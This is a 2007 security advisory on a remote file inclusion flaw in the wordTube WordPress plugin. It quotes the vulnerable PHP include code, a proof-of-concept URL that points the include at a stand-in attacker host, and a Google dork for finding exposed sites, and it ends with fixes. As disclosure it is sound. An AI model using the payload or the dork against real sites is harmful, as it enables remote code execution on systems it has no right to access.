adv81-K-159-2007.txt

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ECHO_ADV_81$2007  
  
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[ECHO_ADV_81$2007] wordpress plugins wordTube <= 1.43 (wpPATH) Remote File Inclusion Vulnerability  
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Author : M.Hasran Addahroni  
Date : April, 30th 2007  
Location : Australia, Sydney  
Web : http://advisories.echo.or.id/adv/adv81-K-159-2007.txt  
Critical Lvl : Dangerous  
Impact : System access  
Where : From Remote  
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Affected software description:  
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Application : wordTube   
version : <= 1.43  
Vendor : http://alexrabe.boelinger.com/?page_id=20  
Description :  
  
This plugin creates your personal YouTube plugin for wordpress.  
wordTube supports the streaming video format (Format .flv or .swf),   
sound files as MP3 and JPG, GIF or PNG grafic files.  
  
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Vulnerability:  
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- Invalid include function at wordtube-button.php :   
  
----------------wordtube-button.php-------------------  
...  
  
*/  
// get and set path of function  
  
if (!$_POST) $wppath=$_GET['wpPATH'];  
else $wppath=$_POST['wpPATH'];  
  
require_once($wppath.'/wp-config.php');  
require_once($wppath.'/wp-admin/admin.php');  
...  
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Input passed to the "wpPATH" parameter in wordtube-button.php is not properly verified before being used to include files.   
This can be exploited to include arbitrary files from local or external resources.  
Successful exploitation requires that "register_globals" is enabled.  
  
  
  
  
Poc/Exploit:  
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http://www.target.com/wp-content/plugins/wordtube/wordtube-button.php?wpPATH=http://attacker.com/evil?  
  
Google dork:  
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"inurl:/plugins/wordtube"  
  
  
Solution:  
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- Edit the source code to ensure that input is properly verified.  
- Turn off register_globals  
- use the latest version   
  
Notification:  
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- 30-04-2007 bugs found  
- 30-04-2007 vendor contacted   
- 1-05-2007 advisory released  
  
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